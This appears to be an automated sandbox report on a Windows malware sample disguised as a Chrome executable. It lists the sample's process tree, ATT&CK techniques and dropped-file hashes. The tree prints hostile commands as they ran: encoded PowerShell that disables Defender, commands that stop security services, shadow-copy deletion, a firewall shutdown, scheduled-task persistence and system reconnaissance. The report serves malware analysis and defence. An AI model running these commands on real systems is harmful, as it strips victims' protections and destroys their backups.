of 5944 4464 chrome.exe 116 PID 4464 wrote to memory of 4688 4464 chrome.exe 118 PID 4464 wrote to memory of 4688 4464 chrome.exe 118 PID 4316 wrote to memory of 3240 4316 verpeliculas.io_chrome.exe 119 PID 5964 wrote to memory of 1496 5964 fodhelper.exe 121 PID 4464 wrote to memory of 5208 4464 chrome.exe 124 PID 4464 wrote to memory of 5208 4464 chrome.exe 124 PID 4316 wrote to memory of 920 4316 verpeliculas.io_chrome.exe 173 PID 4316 wrote to memory of 4048 4316 verpeliculas.io_chrome.exe 128 PID 4316 wrote to memory of 5636 4316 verpeliculas.io_chrome.exe 130 PID 4464 wrote to memory of 2908 4464 chrome.exe 133 PID 4316 wrote to memory of 5008 4316 verpeliculas.io_chrome.exe 134 PID 4316 wrote to memory of 872 4316 verpeliculas.io_chrome.exe 136 PID 4316 wrote to memory of 640 4316 verpeliculas.io_chrome.exe 138 PID 4316 wrote to memory of 2688 4316 verpeliculas.io_chrome.exe 140 PID 4316 wrote to memory of 1612 4316 verpeliculas.io_chrome.exe 143 PID 4316 wrote to memory of 3068 4316 verpeliculas.io_chrome.exe 145 PID 4316 wrote to memory of 3432 4316 verpeliculas.io_chrome.exe 147 PID 2688 wrote to memory of 912 2688 net.exe 149 PID 4316 wrote to memory of 700 4316 verpeliculas.io_chrome.exe 150 PID 4316 wrote to memory of 1204 4316 verpeliculas.io_chrome.exe 151 PID 4316 wrote to memory of 2880 4316 verpeliculas.io_chrome.exe 153 PID 4316 wrote to memory of 4592 4316 verpeliculas.io_chrome.exe 152 PID 4316 wrote to memory of 644 4316 verpeliculas.io_chrome.exe 156 PID 4316 wrote to memory of 4648 4316 verpeliculas.io_chrome.exe 157 PID 4316 wrote to memory of 2384 4316 verpeliculas.io_chrome.exe 158 PID 4316 wrote to memory of 3468 4316 verpeliculas.io_chrome.exe 160 PID 4316 wrote to memory of 3284 4316 verpeliculas.io_chrome.exe 165 PID 4464 wrote to memory of 5316 4464 chrome.exe 168 PID 4464 wrote to memory of 468 4464 chrome.exe 169 PID 4464 wrote to memory of 4736 4464 chrome.exe 170 PID 700 wrote to memory of 4132 700 cmd.exe 172 PID 4592 wrote to memory of 1392 4592 cmd.exe 174 PID 3068 wrote to memory of 920 3068 cmd.exe 173 PID 1204 wrote to memory of 1720 1204 cmd.exe 171 PID 2384 wrote to memory of 976 2384 cmd.exe 175 PID 644 wrote to memory of 4076 644 cmd.exe 176 PID 4648 wrote to memory of 3788 4648 cmd.exe 177 PID 4076 wrote to memory of 3856 4076 net.exe 178 PID 3068 wrote to memory of 5832 3068 cmd.exe 179 PID 4464 wrote to memory of 5608 4464 chrome.exe 196 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://verpeliculas.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc5998c728,0x7ffc5998c734,0x7ffc5998c7403⤵PID:4500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,16149859652619907611,2338073790911729923,262144 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1992 /prefetch:23⤵PID:4800
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,17465302550947206176,9663738499058796034,524288 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2272 /prefetch:33⤵
- System Time Discovery
PID:1216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2360,i,17682137266681997265,5940973811160120785,524288 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2520 /prefetch:83⤵PID:4828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3140,i,3386539889366801937,7866152900670974439,2097152 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3240 /prefetch:13⤵PID:5944
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3160,i,741109603430147596,14958749773989188146,2097152 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3260 /prefetch:13⤵PID:564
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4060,i,8173935559773620417,10747104214974398770,2097152 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4068 /prefetch:23⤵PID:4688
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5076,i,17707519198850633251,18198614291801716723,2097152 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5084 /prefetch:13⤵PID:5208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5620,i,14922543803455541982,14656768377319950577,524288 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5624 /prefetch:83⤵PID:2908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3380,i,813619889806332713,2453097593552916700,524288 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3372 /prefetch:83⤵PID:5316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3384,i,17544943718559500052,15088062522828326549,524288 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3360 /prefetch:83⤵PID:468
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3368,i,9925889240451982723,9562879434853275337,524288 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5740 /prefetch:83⤵PID:4736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5664,i,5850106789755964607,14963900633589641684,262144 --field-trial-handle=1996,i,6356809982246930491,14344483693893301287,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5696 /prefetch:83⤵PID:5608
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5400
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1852
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1996
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4664
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3336
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5880
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2128
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3068
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3920
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5964 -
C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe"3⤵PID:1496
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5488
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:3980
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6028
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3240
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:920
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4048
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5636
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5008
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:872
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:640
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:912
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:920
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:5832
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3432 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3920
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:700 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4132
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:1720
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\system32\whoami.exewhoami3⤵PID:1392
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2880
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3856
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3788
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:976
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3468
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:3284
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:1648
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4584
-
C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe1⤵PID:3364
-
C:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\verpeliculas.io_chrome.exe1⤵PID:1788
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5136
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 9d04f0ba31655b7427a4308316f30bd68a7e3ae8de1d2052f6e0d8ad252ab398
- MD5 ecd526e6c218a709b0c06d89e7ce232a
- SHA1 67f37721cb571c9dcd7be4485848f83c96b5cbce
- SHA512 9ca4885689b035fc0fcd71433bc5723ec079fef77686da401162a9c8b96d3d9ee08326bcd68ffcb3250003337470d8bdf072f50b1fb79138df7c4e2052316d20
- SSDEEP 1536:tBUICUC4OnBkKCqiiZrz8N+k8/Uvx9wcMhpL1vc140zzOCBV1KYZv514G6:tBUfj4OMqiEgY2ycMf1Ue0zzd13514G6
- TLSH T15E631A368F22FCC4677E3D80E06039561C893E6B57B5667CFA850DAA2CE5680DF2E45C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 0b40beeb8281d1fc4e978cf37135cf639409e27af620853aafe80337d41914ad
- MD5 b7b84c6777ba27c42c71be68ef30054b
- SHA1 52029009171c3d5efd78701654cd597454bd2a72
- SHA512 3ef9c72e280c9e2ca1aaa9124a0eeaddefabcb0cd00f2985b4ebe7543286adafa01546ffd5bc947906bec3bc60ff993c8b787ec741b36f2c60fe2c56df4f4874
- SSDEEP 1536:NBUICUC4OnBkKCqiiZrz8N+k8/Uvx9wcMhpL1vc140zzOCBV1KYZv514GN:NBUfj4OMqiEgY2ycMf1Ue0zzd13514GN
- TLSH T15B632A368F22FCC4677E3D80E06039561C892E6B57B5667CFA850DEA2CE5680DF2E45C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 e21bf0df89258e5af0643420cd860ee99808e7d3cd581777c3155b6af6fc64fc
- MD5 67b4461b181eae577ce2c9ed2587a82c
- SHA1 d516aaab96ff9cacbc13bd0f23f278fd23c4d09b
- SHA512 4d64702dc03344e622de754f5107b47890c594c581b661c25699939d5accf73b267571a26c95868ac00e0dfd0ac0e94682be261688fee94f4caa0413ba0b39ac
- TLSH T1C5E0EDAAC821EC2B18FD072920650B8AE75417972B90894B763D92088FB063B498A85C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 528B
- SHA256 ce14833130313d4ef74db7cc2f8664ad03c0bc2fb4df4b2bb898fa7a58b6a781
- MD5 7f29b51172ad83edca4c5cf5e1a9106c
- SHA1 ded68a89cee030cb31a01e40d6733c14f69d91e2
- SHA512 9446661b8fd0b6d419f9eaad019b7d6063df2dece6770d2aaf575eb5513f9fd1e6396363282f2147e1ecb3c14e97be7323cbc215de1d4062ca183434be7238e9
- TLSH T194F0ED4601CC8108EFB1497201C90E92BA320206C43F0B8382E1F57BAAF3FD0A546C07
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
- Size 160KB
- SHA256 01b8abd49643305c5251b98567dd2425e25f511a0092161669548ac5528881a0
- MD5 789a431000ab4757e85b15daf9576af0
- SHA1 691fb3354ad5c60f8b3b1a6090da748d92016771
- SHA512 2e602818e8ba8a400486c0e5f597d2f332dabc541ffe53e28a0f0833c961a5d3a65120bb12dc366f7ead70fb72a6d1b3eecd6fa8f8c97585b4f3dae96cbe3d65
- SSDEEP 96:kKq4KqN1quM/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0xaOR:ZEC1quM/tH+bF+UI3iWGVYWNkqp3S
- TLSH T1A8F31A1E6F743311CDBD923668E749A39C7DF07F876366856C6104B0CEE2A52B02C4AE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 5KB
- SHA256 7d9b9b1c4d32eb62f32a6591b33de34bb664730beebc3d6e4806f1b68a424ae1
- MD5 6aa93f9d33929b3a1e2b873a45131ec4
- SHA1 6d2288e1ecec12afc216bff8c89e83742b49b279
- SHA512 fd0f57741fddef3b63dc59dcacd006d541654ba898f8429337d50d407b6aa7449e2d6bf7f9b419049b7638f0bd9e38d071c6b550ae78f9860caa39074f0a1423
- SSDEEP 96:D0RQIoImxaIEagdlmkwYVrSnd8zYjlcFVSUoT:D0GIoHxaIEagdlmkwYVrSnd8zYjlYVSl
- TLSH T1ACB1ABF383E48A7DC911A5F1BB147E1FDE680914431C3C66C9E9AE8B93E2472D21068E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 95d7d15178158d94a2444c9d286115b53b9018561b91eadcfc4edc9a6b1cc1e2
- MD5 41b64f869d4dbc56ad0a3d4b40557abb
- SHA1 a6098d43d031efd0299a20586f84ba9585a41008
- SHA512 c51c72684b2ac8466244f727eabb125442e041406ae47f6b18e5a4eeeacf1d879b83ad3d7127140ef271d79ee570033be7ee04b9947e036caa2129a6a22941a0
- SSDEEP 192:lRsJrkDdSZPSEv7SpAPRp2hlW9QHsb+WNnhJJaI2A8EskwFBVyIsnAUgtaJ:lRsJIgeUXBWwX/2J7B8
- TLSH T12A42E86EFE54697B4CCAD22AF9527707D7F5102271841E84EAFC8A2C29E79CD3227017
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 2c95ba5cea8a4c55f3dc473702e23be116183f57482bc38defaea731c0fab60a
- MD5 8c54a51360c5227332ae5b211e674c95
- SHA1 37fc294b8d47979bc64de70e5d9286cdc872a85f
- SHA512 72ef8f3e180dadc704f06076e623a6db4304ee6883f61623df25c8bc2b8110f47d31faf2ccdc681cbfc1c661886df661fa150a811c93e2a66f82ccf09e13f159
- SSDEEP 384:Qyjk37KxkXqKf/pUZNCgVLH2HfgslKD7pLuLc8SzXODk7+ErU3fFHGA3Oc:QSk37KxkXqKf/pUZNCgVLH2Hfgs0D7p4
- TLSH T1D972EAA7784C9A770F94CACCDC167E4FADB5024B65E9886482FA982503D5BCF110A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 24658fab030eff84df685ec2fe62dd9a132512372eb7edf6d2998b336b834603
- MD5 c6fcca4e73caa702219e7f9718fc2bba
- SHA1 3f10b09ed7e18597fbd438d3eee15b147a394d4a
- SHA512 0487be3d12718ce70a272ac622fbc033394c3e201f6eb1c116efb1a6bad16d2ab0a0d7d8869fff53bece43efba8bed82d22756e1f9d71e081602bbb0ca56094e
- TLSH T155B01213C0839152C45503B02998C88C3224FF10C60A030371E41702DC752600565153
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 5628b1be7a8dd19a31c470640418f778a234dbc3a76777f2395b7585d47b2176
- MD5 4660b30913692f8876b15583962d6221
- SHA1 e69c015e40c6831843220d041080a79e0e727630
- SHA512 a855ebe08f7ab2fc597d5379bb0500fe6a610de95c2fd2f845ccd57e76ab35fdfd54300c9ce09294b88ba9d6db086291a0623da2827fa8b64502f342b80797c0
- TLSH T1FFB0127680015901C05302B055C24498F1545F2087461309A3E07971E8371A14014170
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58b11b.TMP
- Size 96B
- SHA256 c7976b6ac4040397cf7df3930888bbef2cbe6baa20ca2ab8123d4c795e655139
- MD5 2aa9728e232b36e225dd31bf4ba80056
- SHA1 4be80858b0a2037c68bc41aecaaa824a4cfc078c
